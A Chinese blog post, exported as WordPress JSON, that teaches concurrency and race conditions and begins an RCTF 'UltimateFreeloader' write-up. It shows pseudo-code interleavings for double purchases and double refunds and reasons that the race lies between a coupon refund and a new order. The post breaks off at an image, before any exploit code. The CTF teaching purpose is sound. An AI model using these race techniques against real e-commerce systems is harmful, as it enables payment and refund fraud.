{"id":4083,"date":"2025-11-22T16:59:04","date_gmt":"2025-11-22T08:59:04","guid":{"rendered":"https:\/\/fushuling.com\/?p=4083"},"modified":"2025-11-22T17:01:31","modified_gmt":"2025-11-22T09:01:31","slug":"%e5%b9%b6%e5%8f%91%e4%b8%8e%e6%9d%a1%e4%bb%b6%e7%ab%9e%e4%ba%89","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2025\/11\/22\/%e5%b9%b6%e5%8f%91%e4%b8%8e%e6%9d%a1%e4%bb%b6%e7%ab%9e%e4%ba%89\/","title":{"rendered":"\u5e76\u53d1\u4e0e\u6761\u4ef6\u7ade\u4e89"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\">\u524d\u8a00<\/h1>\n\n\n\n<p>\u4e0a\u5468RCTF UltimateFreeloader\u8fd9\u9898\u662f\u96be\u5f97\u7684\u4e1a\u52a1\u5b89\u5168\u7c7b\u578b\u7684\u9898\u76ee\uff0c\u76f8\u6bd4\u4e8e\u5e38\u89c1\u7684\u4ee5RCE\u4e3a\u76ee\u6807\u7684\u653b\u9632\u573a\u666f\uff0c\u8fd9\u9053\u9898\u76ee\u662f\u4ee5&#8221;\u8585\u7f8a\u6bdb&#8221;\u4e3a\u76ee\u6807\u7684 SRC \u573a\u666f\uff0c\u975e\u5e38\u7684\u6709\u8da3\uff0c\u5e76\u4e14\u8ba9\u6211\u60f3\u8d77\u4e86\u5f88\u591a\u4e4b\u524d\u5b66\u8fc7\u7684\u64cd\u4f5c\u7cfb\u7edf\u6709\u5173\u7684\u77e5\u8bc6\uff0c\u9042\u5199\u6b64\u6587\u4ee5\u4f5c\u603b\u7ed3\u3002<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\u5e76\u53d1\u4e0e\u5e76\u884c<\/h1>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u5e76\u53d1\uff08Concurrency\uff09<\/strong>\uff1a\u770b\u8d77\u6765\u201c\u540c\u65f6\u201d\u505a\u591a\u4e2a\u4efb\u52a1\uff0c\u4f46\u5176\u5b9e CPU \u5728\u4e0d\u540c\u4efb\u52a1\u4e4b\u95f4\u5feb\u901f\u5207\u6362\uff0c\u4efb\u52a1\u8f6e\u6d41 \u4f7f\u7528 CPU\uff0c\u5b8f\u89c2\u4e0a\u540c\u65f6\uff0c\u5fae\u89c2\u4e0a\u5e76\u975e\u5982\u6b64<\/li>\n\n\n\n<li><strong>\u5e76\u884c\uff08Parallelism\uff09<\/strong>\uff1a\u591a\u4e2a\u4efb\u52a1&#8221;\u771f\u5b9e\u5730&#8221;\u540c\u65f6\u6267\u884c\uff0c\u5fc5\u987b\u6709\u591a\u4e2a CPU \u6838\uff08\u6216\u591a\u4e2a\u5904\u7406\u5355\u5143\uff09\u771f\u6b63\u540c\u65f6\u8fd0\u884c\u4efb\u52a1<\/li>\n<\/ul>\n\n\n\n<p>\u4e3e\u4e2a\u4f8b\u5b50\uff0c\u6211\u4eec\u5728\u5403\u996d\u7684\u65f6\u5019\u73a9\u624b\u673a\uff0c\u5403\u4e24\u53e3 \u2192 \u770b\u4e00\u4e0b\u624b\u673a \u2192 \u518d\u5403\u4e24\u53e3 \u2192 \u518d\u770b\u624b\u673a\uff0c\u770b\u8d77\u6765\u6211\u4eec\u50cf\u662f\u540c\u65f6\u505a\u4e24\u4ef6\u4e8b\uff0c\u5176\u5b9e\u8fd9\u53ea\u662f\u4e00\u4e2a\u5047\u8c61\uff0c\u6211\u4eec\u5728\u6765\u56de\u5207\u6362\u4efb\u52a1\uff0c\u6bcf\u4e00\u4e2a\u77ac\u95f4\u6211\u4eec\u5176\u5b9e\u53ea\u5728\u505a\u4e00\u4e2a\u4efb\u52a1\uff0c\u8fd9\u5c31\u662f\u5e76\u53d1\u3002\u800c\u5982\u679c\u662f\u5e76\u884c\uff0c\u5c31\u662f&#8221;\u771f\u5b9e&#8221;\u7684\u540c\u65f6\u5b8c\u6210\u8fd9\u4e24\u4e2a\u4efb\u52a1\uff0c\u6bd4\u5982\u53f3\u624b\u62ff\u7b77\u5b50\u5403\u996d\uff0c\u5de6\u624b\u73a9\u624b\u673a\uff0c\u5728\u6bcf\u4e00\u4e2a\u77ac\u95f4\u6211\u4eec\u90fd\u5728\u540c\u65f6\u505a\u4e24\u4e2a\u4efb\u52a1\uff0c\u5b8f\u89c2\u4e0a\u540c\u65f6\uff0c\u5fae\u89c2\u4e0a\u4ea6\u662f\u5982\u6b64\uff0c\u8fd9\u5c31\u662f\u5e76\u884c\u3002<\/p>\n\n\n\n<p>\u5728\u73b0\u4ee3\u7684\u5f00\u53d1\u4e2d\uff0c\u5e76\u53d1\u76f8\u5f53\u7684\u5e38\u89c1\uff0c\u56e0\u4e3a\u5b83\u53ef\u4ee5\u6781\u5927\u7684\u589e\u52a0\u5b8c\u6210\u4efb\u52a1\u7684\u901f\u5ea6\uff0c\u4f46\u901f\u5ea6\u4e4b\u6240\u4ee5\u63d0\u5347\u4e0d\u662f\u56e0\u4e3a\u771f\u7684\u201c\u540c\u65f6\u201d\u6267\u884c\u66f4\u591a\u4efb\u52a1\u53d8\u5feb\uff0c\u800c\u662f\u56e0\u4e3a\u5b83\u51cf\u5c11\u4e86\u7b49\u5f85\u5e26\u6765\u7684\u6d6a\u8d39\u65f6\u95f4\uff0c\u5229\u7528\u4e86\u6211\u4eec\u672c\u6765\u6d6a\u8d39\u6389\u7684\u65f6\u95f4\u3002\u6bd4\u5982\u5047\u8bbe\u6211\u4eec\u9700\u8981\u53d1 3 \u4e2a HTTP \u8bf7\u6c42\uff0c\u6bcf\u4e2a\u8017\u65f6 1 \u79d2\uff0c\u5355\u7ebf\u7a0b\u65e0\u5e76\u53d1\u7684\u7684\u60c5\u51b5\u4e0b\u6267\u884c\u6548\u679c\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u8bf7\u6c421 \u7b491\u79d2\n\u8bf7\u6c422 \u7b491\u79d2\n\u8bf7\u6c423 \u7b491\u79d2\n\u603b\u5171\uff1a3\u79d2<\/code><\/pre>\n\n\n\n<p>\u5728\u6709\u5e76\u53d1\uff08\u4f8b\u5982\u591a\u7ebf\u7a0b\u6216 async\uff09\uff0c\u6211\u4eec\u53ef\u4ee5\u8ba9\u4e09\u4e2a\u8bf7\u6c42\u4e00\u8d77\u53d1\uff0c\u7b49\u5f85\u65f6 CPU \u53ef\u4ee5\u5e72\u522b\u7684\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u4e09\u4e2a\u8bf7\u6c42\u4e00\u8d77\u7b49\u5f85\u540c\u4e00\u79d2\n\u603b\u5171\uff1a1\u79d2<\/code><\/pre>\n\n\n\n<p>\u5e76\u53d1\u628a\u7b49\u5f85\u65f6\u95f4\u53e0\u52a0\u5230\u4e86\u4e00\u8d77\uff0c\u8282\u7701\u4e86\u603b\u8017\u65f6<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\u4e34\u754c\u8d44\u6e90<\/h1>\n\n\n\n<p>\u4e34\u754c\u8d44\u6e90\u662f\u6307\u53ef\u4ee5\u88ab\u591a\u4e2a\u8fdb\u7a0b\u5171\u4eab\u4f46\u4e00\u6b21\u53ea\u80fd\u4e3a\u4e00\u4e2a\u8fdb\u7a0b\u6240\u7528\u7684\u8d44\u6e90\uff0c\u8bbf\u95ee\u4e34\u754c\u8d44\u6e90\u7684\u90a3\u6bb5\u4ee3\u7801\u6211\u4eec\u79f0\u4f5c\u4e34\u754c\u533a\uff0c\u4e3a\u4e86\u4fdd\u8bc1\u4e34\u754c\u8d44\u6e90\u5728\u4e00\u6b21\u53ea\u80fd\u88ab\u4e00\u4e2a\u8fdb\u7a0b\u4f7f\u7528\uff0c\u6211\u4eec\u5e38\u5e38\u4f1a\u7ed9\u8fd9\u4e9b\u4e34\u754c\u8d44\u6e90\u4e0a\u9501\uff0c\u6bd4\u5982\u8fdb\u7a0bA\u60f3\u8981\u8bbf\u95ee\u8fd9\u4e2a\u8d44\u6e90\uff0c\u6211\u4eec\u5c31\u4f1a\u7ed9\u4ed6\u4e0a\u9501\uff0c\u4e0a\u9501\u4e4b\u540e\u53ea\u6709\u8fdb\u7a0bA\u624d\u80fd\u8bbf\u95ee\uff0c\u5176\u4ed6\u8fdb\u7a0b\u65e0\u6cd5\u8bbf\u95ee\uff0c\u53ea\u6709\u5f53\u8fdb\u7a0bA\u8bbf\u95ee\u4e34\u754c\u8d44\u6e90\u7684\u90a3\u6bb5\u4ee3\u7801\u7ed3\u675f\u540e\uff0c\u624d\u4f1a\u89e3\u5f00\u9501\uff0c\u5176\u4ed6\u8fdb\u7a0b\u6bd4\u5982\u8fdb\u7a0bB\u624d\u80fd\u8bbf\u95ee\u8be5\u8d44\u6e90\u3002<\/p>\n\n\n\n<p>\u4e3a\u4ec0\u4e48\u9700\u8981\u4e34\u754c\u8d44\u6e90\u8fd9\u4e2a\u6982\u5ff5\u5462\uff0c\u4e3a\u4ec0\u4e48\u9700\u8981\u4fdd\u8bc1\u67d0\u4e2a\u6570\u636e\u4e00\u6b21\u53ea\u80fd\u88ab\u4e00\u4e2a\u8fdb\u7a0b\u4f7f\u7528\u5462\uff1f\u5047\u8bbe\u73b0\u5728\u6211\u4eec\u6709\u4e00\u4e2a\u8fdb\u7a0bA\uff0c\u8fd0\u884c\u903b\u8f91\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>1.a = 1\n2.b = a + 2\n3.return b<\/code><\/pre>\n\n\n\n<p>\u8fdb\u7a0bB\u7684\u8fd0\u884c\u903b\u8f91\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>4.a = 2\n5.c = a - 1\n6.return c<\/code><\/pre>\n\n\n\n<p>\u5047\u8bbe\u4e8c\u8005\u5e76\u53d1\u8fd0\u884c\uff0c\u7406\u60f3\u60c5\u51b5\u4e0b\uff0c\u6211\u4eec\u60f3\u8981\u7684\u6548\u679c\u662f\u8fdb\u7a0bA\u8fd4\u56de3\uff0c\u8fdb\u7a0bB\u8fd4\u56de1\uff0c\u4f46\u662f\u5728\u5e76\u53d1\u7684\u60c5\u51b5\u4e0b\uff0c\u7ed3\u679c\u53ef\u80fd\u6709\u6240\u4e0d\u540c\uff0c\u5047\u8bbe\u8fd0\u884c\u7684\u987a\u5e8f\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>1.a = 1\n2.b = a + 2\n3.return b\n4.a = 2\n5.c = a - 1\n6.return c<\/code><\/pre>\n\n\n\n<p>\u6b64\u65f6\u662f\u7b26\u5408\u6211\u4eec\u7684\u9884\u671f\u7684\uff0c\u8fdb\u7a0bA\u8fd4\u56de\u7684b\u503c\u4e3a3\uff0c\u8fdb\u7a0bB\u8fd4\u56de\u7684c\u503c\u4e3a1\uff0c\u4f46\u662f\u5982\u679c\u6267\u884c\u7684\u987a\u5e8f\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>1.a = 1\n4.a = 2\n2.b = a + 2\n5.c = a - 1\n3.return b\n6.return c<\/code><\/pre>\n\n\n\n<p>\u6b64\u65f6\u8fdb\u7a0bA\u8fd4\u56de\u7684b\u503c\u53d8\u6210\u4e864\uff0c\u8fdb\u7a0bB\u8fd4\u56de\u7684c\u503c\u4e3a1\uff0c\u663e\u7136\u662f\u4e25\u683c\u4e0d\u7b26\u5408\u6211\u4eec\u7684\u9884\u671f\u7684<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\u771f\u5b9e\u573a\u666f\u91cc\u7684\u5e76\u53d1\u7ade\u4e89<\/h1>\n\n\n\n<p>\u653e\u5728\u4e00\u4e2a\u771f\u5b9e\u7684\u573a\u666f\u91cc\uff0c\u6bd4\u5982\u8d2d\u4e70\u573a\u666f\uff0c\u5047\u8bbe\u7528\u6237\u7684\u8fd0\u884c\u903b\u8f91\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>1.\u68c0\u67e5\u4f59\u989d\u662f\u5426\u5927\u4e8e10\n2.\u8bbe\u7f6e\u5546\u54c1\u5df2\u8d2d\u4e70\n3.\u4f59\u989d\u51cf\u53bb10<\/code><\/pre>\n\n\n\n<p>\u770b\u8d77\u6765\u4f3c\u4e4e\u6ca1\u4ec0\u4e48\u95ee\u9898\uff0c\u4f46\u5982\u679c\u7528\u6237\u7528\u8fdb\u7a0b1\u548c\u8fdb\u7a0b2\u5e76\u53d1\u505a\u7ade\u4e89\uff0c\u5373\u4f7f\u7528\u6237\u672c\u8eab\u53ea\u670910\u5143\uff0c\u8fd0\u884c\u987a\u5e8f\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u8fdb\u7a0b1-1.\u68c0\u67e5\u4f59\u989d\u662f\u5426\u5927\u4e8e10(\u6b64\u65f6\u4f59\u989d\u5927\u4e8e10\uff0c\u7b26\u5408\u8981\u6c42)\n\u8fdb\u7a0b2-1.\u68c0\u67e5\u4f59\u989d\u662f\u5426\u5927\u4e8e10(\u6b64\u65f6\u4f59\u989d\u5927\u4e8e10\uff0c\u7b26\u5408\u8981\u6c42)\n\u8fdb\u7a0b1-2.\u8bbe\u7f6e\u5546\u54c1\u5df2\u8d2d\u4e70\n\u8fdb\u7a0b2-2.\u8bbe\u7f6e\u5546\u54c1\u5df2\u8d2d\u4e70\n\u8fdb\u7a0b2-3.\u4f59\u989d\u51cf\u53bb10(\u6b64\u65f6\u4f59\u989d\u4e3a0)\n\u8fdb\u7a0b2-3.\u4f59\u989d\u51cf\u53bb10(\u6b64\u65f6\u4f59\u989d\u4e3a-10)<\/code><\/pre>\n\n\n\n<p>\u53ef\u4ee5\u53d1\u73b0\u867d\u7136\u7528\u6237\u53ea\u670910\u5143\uff0c\u7adf\u7136\u795e\u4e4e\u5176\u795e\u7684\u540c\u65f6\u8d2d\u4e70\u4e86\u4e24\u4ef6\u5546\u54c1\uff0c\u800c\u4e14\u663e\u7136\u53ea\u8981\u7528\u6237\u7528\u591a\u4e2a\u8fdb\u7a0b\u540c\u65f6\u505a\u7ade\u4e89\uff0c\u751a\u81f3\u8fd8\u80fd\u8d2d\u4e70\u66f4\u591a\u7684\u5546\u54c1\u3002<\/p>\n\n\n\n<p>\u5047\u8bbe\u662f\u9000\u6b3e\u573a\u666f\uff0c\u5047\u8bbe\u7528\u6237\u7684\u8fd0\u884c\u903b\u8f91\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>1.\u68c0\u67e5\u8be5\u8ba2\u5355\u662f\u5426\u4e3a\u8d2d\u4e70\u6210\u529f\u72b6\u6001\n2.\u4f59\u989d\u52a0\u4e0a10\n3.\u5c06\u8be5\u8ba2\u5355\u8bbe\u7f6e\u4e3a\u8d2d\u4e70\u5931\u8d25\u72b6\u6001<\/code><\/pre>\n\n\n\n<p>\u7528\u6237\u8fd8\u662f\u548c\u4e4b\u524d\u4e00\u6837\u7528\u8fdb\u7a0b1\u548c\u8fdb\u7a0b2\u5e76\u53d1\u505a\u7ade\u4e89\uff0c\u5047\u8bbe\u53ea\u6709\u4e00\u4e2a\u8ba2\u5355\u662f\u8d2d\u4e70\u6210\u529f\u72b6\u6001\uff0c\u901a\u8fc7\u5e76\u53d1\u7528\u6237\u4e5f\u53ef\u80fd\u83b7\u53d6\u5f88\u591a\u94b1\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u8fdb\u7a0b1-1.\u68c0\u67e5\u8be5\u8ba2\u5355\u662f\u5426\u4e3a\u8d2d\u4e70\u6210\u529f\u72b6\u6001(\u8ba2\u5355\u4e3a\u5df2\u8d2d\u4e70\u72b6\u6001)\n\u8fdb\u7a0b2-1.\u68c0\u67e5\u8be5\u8ba2\u5355\u662f\u5426\u4e3a\u8d2d\u4e70\u6210\u529f\u72b6\u6001(\u8ba2\u5355\u4e3a\u5df2\u8d2d\u4e70\u72b6\u6001)\n\u8fdb\u7a0b1-2.\u4f59\u989d\u52a0\u4e0a10\n\u8fdb\u7a0b2-2.\u4f59\u989d\u52a0\u4e0a10(\u6700\u540e\u7528\u6237\u83b7\u5f97\u4e8620\u5143)\n\u8fdb\u7a0b1-3.\u5c06\u8be5\u8ba2\u5355\u8bbe\u7f6e\u4e3a\u8d2d\u4e70\u5931\u8d25\u72b6\u6001(\u8ba2\u5355\u4e3a\u8d2d\u4e70\u5931\u8d25\u72b6\u6001)\n\u8fdb\u7a0b2-3.\u5c06\u8be5\u8ba2\u5355\u8bbe\u7f6e\u4e3a\u8d2d\u4e70\u5931\u8d25\u72b6\u6001(\u8ba2\u5355\u4e3a\u8d2d\u4e70\u5931\u8d25\u72b6\u6001)<\/code><\/pre>\n\n\n\n<p>\u5229\u7528\u5e76\u53d1\uff0c\u5373\u4f7f\u53ea\u6709\u4e00\u4e2a\u8ba2\u5355\u80fd\u9000\u6b3e\uff0c\u7528\u6237\u4e5f\u80fd\u9000\u6b3e\u8d85\u8fc7\u4e00\u4e2a\u8ba2\u5355\u7684\u94b1\u3002<\/p>\n\n\n\n<p>\u73b0\u5728\u4e00\u822c\u5f00\u53d1\u8005\u7684\u903b\u8f91\u4e00\u822c\u662f\u4e0d\u5141\u8bb8\u77ed\u65f6\u95f4\u591a\u6b21\u8d2d\u4e70\u6216\u8005\u591a\u6b21\u9000\u6b3e\uff0c\u4f1a\u5bf9\u64cd\u4f5c\u505a\u4e00\u4e2a\u65f6\u95f4\u9650\u5236 \uff0c\u4f46\u5176\u5b9e\u770b\u5230\u5927\u5bb6\u8fd9\u91cc\u5e94\u8be5\uff0c\u6761\u4ef6\u7ade\u4e89\u6f0f\u6d1e\u51fa\u73b0\u7684\u6839\u672c\u539f\u56e0\u5176\u5b9e\u5e76\u4e0d\u662f\u56e0\u4e3a\u7528\u6237\u77ed\u65f6\u95f4\u7684\u591a\u6b21\u64cd\u4f5c\uff0c\u800c\u662f\u56e0\u4e3a\u6ca1\u6709\u5bf9\u4e34\u754c\u8d44\u6e90\u505a\u597d\u8db3\u591f\u7684\u9650\u5236\uff0c\u5047\u8bbe\u9650\u5236\u4f59\u989d\u8fd9\u4e2a\u4e34\u754c\u8d44\u6e90\u53ea\u6709\u4e00\u4e2a\u8fdb\u7a0b\u53ef\u4ee5\u8bbf\u95ee\uff0c\u5728\u6b65\u9aa41\u7684\u65f6\u5019\u4e0a\u9501\uff0c\u6b65\u9aa43\u7684\u65f6\u5019\u89e3\u5f00\u9501\uff0c\u5373\u4f7f\u6709\u4e00\u4e07\u4e2a\u8fdb\u7a0b\u540c\u65f6\u7ade\u4e89\uff0c\u6700\u540e\u6267\u884c\u7684\u7ed3\u679c\u4e5f\u662f\u7b26\u5408\u6211\u4eec\u7684\u9884\u671f\u7684\uff0c\u5982\u4f55\u8bbe\u8ba1\u8fd9\u6837\u4e00\u4e2a \u5b89\u5168\u7684\u7b97\u6cd5\u903b\u8f91\uff0c\u5728\u64cd\u4f5c\u7cfb\u7edf\u91cc\u53eb\u505a PV \u95ee\u9898\uff0c\u6bd4\u5982\u751f\u4ea7\u8005-\u6d88\u8d39\u8005\u95ee\u9898\u3001\u8bfb\u8005-\u5199\u8005\u95ee\u9898\u3001\u54f2\u5b66\u5bb6\u8fdb\u9910\u7b49\u7b49\uff0c\u5f53\u7136\uff0c\u64cd\u4f5c\u7cfb\u7edf\u91cc\u8fd9\u6837\u7684\u8bbe\u8ba1\u66f4\u591a\u7684\u662f\u4e3a\u4e86\u9632\u6b62\u4ea7\u751f\u6b7b\u9501\uff0c\u800c\u4e0d\u662f\u4e3a\u4e86\u4ece\u5b89\u5168\u7684\u89d2\u5ea6\u3002<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">RCTF-UltimateFreeloader<\/h1>\n\n\n\n<p>\u628a\u9644\u4ef6\u7ed9\u7684 jar \u5305\u53cd\u7f16\u8bd1\u4e00\u4e0b\uff0c\u5206\u6790\u4e00\u4e0b\u6e90\u7801\u53ef\u4ee5\u770b\u5230\u8fd9\u662f\u4e00\u4e2a\u57fa\u4e8e Spring Boot \u7684\u7535\u5546\u8d2d\u7269\u7cfb\u7edf\u540e\u7aef\u5e94\u7528\uff0c\u7136\u540e\u6709\u5f88\u591a\u7684\u529f\u80fd\u6a21\u5757\uff0c\/api\/flag\/get \u63a5\u53e3\u7528\u4e8e\u8fd4\u56deflag\uff0c\u4f46\u662f\u6709\u5f88\u591a\u9650\u5236\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u7528\u6237\u5df2\u8ba4\u8bc1\uff08\u6709\u6548\u7684JWT token\uff09<\/li>\n\n\n\n<li>\u8d2d\u4e70\u5e76\u5b8c\u6210\uff08\u72b6\u6001\u4e3a COMPLETED\uff09\u4ee5\u4e0b4\u4e2a\u5546\u54c1\uff1a\n<ul class=\"wp-block-list\">\n<li>Little Potato\uff08\u5c0f\u571f\u8c46\uff09- 5.50<\/li>\n\n\n\n<li>Sweet Potato\uff08\u5730\u74dc\uff09- 8.80<\/li>\n\n\n\n<li>Fish Fish\uff08\u9c7c\uff09- 4.20<\/li>\n\n\n\n<li>Large Potato\uff08\u5927\u571f\u8c46\uff09- 10.00<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>\u7528\u6237\u4f59\u989d\u5fc5\u987b\u7b49\u4e8e 10.00\uff08\u4e0d\u80fd\u4f4e\u4e8e10\uff09<\/li>\n\n\n\n<li>\u7528\u6237\u5fc5\u987b\u6709\u4e00\u4e2a\u672a\u4f7f\u7528\u7684\u4f18\u60e0\u5238<\/li>\n<\/ul>\n\n\n\n<p>\u5982\u679c\u6211\u4eec\u6ce8\u518c\u4e00\u4e2a\u7528\u6237\uff0c\u6211\u4eec\u7684\u521d\u59cb\u4f59\u989d\u662f10\u5143\uff0c\u7136\u540e\u9ed8\u8ba4\u6709\u4e00\u4e2a 10.00 \u7684\u4f18\u60e0\u5238\uff0c\u5206\u6790\u6574\u4e2a\u9898\u76ee\uff0c\u4ece\u63e3\u6469\u51fa\u9898\u4eba\u7684\u89d2\u5ea6\u53ef\u4ee5\u770b\u51fa\u6765\uff0c\u8fd9\u4e2a\u9898\u7684\u76ee\u6807\u5e94\u8be5\u662f\u60f3\u8ba9\u6211\u4eec\u96f6\u5143\u8d2d\u5546\u54c1\uff0c\u6bd5\u7adf\u6700\u540e\u7684\u8981\u6c42\u662f\u6211\u4eec\u7684\u4f59\u989d\u8fd8\u662f10\uff0c\u6240\u4ee5\u80af\u5b9a\u4e0d\u662f\u60f3\u627e\u4e2a\u4ec0\u4e48\u529e\u6cd5\u5237\u94b1\u5565\u7684\uff0c\u800c\u662f\u8981\u6c42\u6211\u4eec\u5728\u4fdd\u7559\u4f18\u60e0\u5238\u7684\u60c5\u51b5\u4e0b\u96f6\u5143\u8d2d\u6240\u6709\u5546\u54c1<\/p>\n\n\n\n<p>\u518d\u770b\u4ee3\u7801\u53ef\u4ee5\u53d1\u73b0\u9879\u76ee\u91cc\u6709\u4e00\u4e2aredis\u9501\uff0c\u521b\u5efa\u8ba2\u5355\u7684\u65f6\u5019\u6709\u4e00\u4e2a\u9501\u9632\u6b62\u6211\u4eec\u540c\u65f6\u521b\u5efa\u591a\u4e2a\u8ba2\u5355\uff0c\u9000\u6b3e\u7684\u65f6\u5019\u6709\u4e00\u4e2a\u9501\u9632\u6b62\u6211\u4eec\u91cd\u590d\u9000\u6b3e\u3002\u7528\u6237\u5176\u5b9e\u4e00\u5171\u5c31\u53ea\u80fd\u8fdb\u884c\u4e24\u4e2a\u64cd\u4f5c\uff0c\u4e00\u4e2a\u662f\u521b\u5efa\u8ba2\u5355(\u53ef\u4ee5\u9009\u62e9\u4f7f\u7528\u4f18\u60e0\u5238)\uff0c\u53e6\u4e00\u4e2a\u662f\u9000\u6b3e\uff0c\u65e2\u7136\u6ca1\u6cd5\u5728\u521b\u5efa\u8ba2\u5355\u65f6\u5e76\u53d1\u505a\u7ade\u4e89\uff0c\u4e5f\u6ca1\u6cd5\u5728\u9000\u6b3e\u65f6\u5e76\u53d1\u505a\u7ade\u4e89\uff0c\u552f\u4e00\u53ef\u884c\u7684\u65b9\u6cd5\u5c31\u662f\u5728\u521b\u5efa\u8ba2\u5355\u548c\u9000\u6b3e\u4e4b\u95f4\u5e76\u53d1\u505a\u7ade\u4e89\u4e86\u3002<\/p>\n\n\n\n<p>\u60f3\u8981\u5728\u9000\u6b3e\u548c\u521b\u5efa\u8ba2\u5355\u4e4b\u95f4\u505a\u7ade\u4e89\uff0c\u524d\u63d0\u80af\u5b9a\u662f\u73b0\u5728\u6211\u4eec\u6709\u4e00\u4e2a\u8d2d\u4e70\u6210\u529f\u7684\u8ba2\u5355\uff0c\u6709\u4e86\u8fd9\u4e2a\u8ba2\u5355\u4e4b\u540e\u6211\u4eec\u624d\u80fd\u9000\u6b3e\uff0c\u7136\u540e\u518d\u60f3\u529e\u6cd5\u518d\u521b\u5efa\u8ba2\u5355\uff0c\u56e0\u4e3a\u7528\u6237\u7684\u94b1\u662f\u6709\u9650\u7684\uff0c\u53ea\u670910\u5143\uff0c\u8981\u662f\u4e0d\u4f7f\u7528\u4f18\u60e0\u5238\u6bd4\u5982\u4e70\u4e86 Large Potato \u4e4b\u540e\u5c31\u6ca1\u94b1\u4e70\u5176\u4ed6\u4e1c\u897f\u4e86\uff0c\u6240\u4ee5\u9000\u6b3e\u8ba2\u5355\u548c\u521b\u5efa\u8ba2\u5355\u4e8c\u8005\u4e4b\u95f4\u5fc5\u7136\u6709\u4e00\u4e2a\u8ba2\u5355\u662f\u901a\u8fc7\u4f18\u60e0\u5238\u521b\u5efa\u7684\u3002<\/p>\n\n\n\n<p>\u8fd9\u91cc\u518d\u601d\u8003\u8fd9\u4e24\u4e2a\u8ba2\u5355\u662f\u54ea\u4e2a\u8ba2\u5355\u662f\u7528\u4f18\u60e0\u5238\u521b\u5efa\u7684\uff0c\u5047\u8bbe\u521b\u5efa\u8ba2\u5355\u7528\u4f18\u60e0\u5238\u521b\u5efa\uff0c\u9000\u6b3e\u8ba2\u5355\u662f\u76f4\u63a5\u82b1\u94b1\u4e70\u7684\uff0c\u5373\u4f7f\u6211\u4eec\u7ade\u4e89\u6210\u529f\u5b9e\u73b0\u96f6\u5143\u8d2d\u4e5f\u6ca1\u610f\u4e49\uff0c\u7528\u4f18\u60e0\u5238\u521b\u5efa\u8ba2\u5355\u672c\u6765\u5c31\u4e0d\u7528\u82b1\u94b1\uff0c\u800c\u4e14\u4f18\u60e0\u5238\u4e5f\u6ca1\u4e86\uff0c\u6240\u4ee5\u552f\u4e00\u7684\u53ef\u80fd\u5c31\u662f\u9000\u6b3e\u8ba2\u5355\u662f\u7528\u4f18\u60e0\u5238\u521b\u5efa\u7684\uff0c\u521b\u5efa\u8ba2\u5355\u662f\u76f4\u63a5\u82b1\u94b1\u4e70\u7684\uff0c\u8bf4\u4e0d\u5b9a\u8fd8\u6709\u5947\u8ff9\u53d1\u751f\uff0c\u80fd\u901a\u8fc7\u67d0\u79cd\u795e\u5947\u7684\u65b9\u5f0f\u5229\u7528\u7ade\u4e89\u514d\u8d39\u521b\u5efa\u8ba2\u5355\u3002<\/p>\n\n\n\n<p>\u5148\u5934\u8111\u98ce\u66b4\u4e00\u4e0b\u5927\u6982\u7684\u601d\u8def\uff0c\u7136\u540e\u4ed4\u7ec6\u5206\u6790\u4e00\u4e0b\u8fd9\u4e00\u5757\u7684\u4ee3\u7801\uff0c\u5148\u770b\u5230\u521b\u5efa\u8ba2\u5355\u8fd9\u91cc\uff0c\u8fc7\u7a0b\u5927\u6982\u5c31\u662f\u5148\u5bf9\u8d2d\u4e70\u64cd\u4f5c\u4e0a\u9501\uff0c\u7136\u540e\u6821\u9a8c\u7528\u6237\u548c\u5546\u54c1\uff0c\u63a5\u7740\u8ba1\u7b97\u4ef7\u683c\uff0c\u5982\u679c\u4f18\u60e0\u5238\u91d1\u989d\u5927\u4e8e\u5546\u54c1\u4ef7\u683c\uff0c\u6700\u7ec8\u4ef7\u683c\u4f1a\u88ab\u7f6e\u4e3a 0\uff0c\u6700\u540e\u68c0\u67e5\u4f59\u989d\u662f\u5426\u80fd\u652f\u4ed8\u8fd9\u4e2a\u6700\u7ec8\u4ef7\u683c\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/11\/20-22-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/11\/20-22-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" 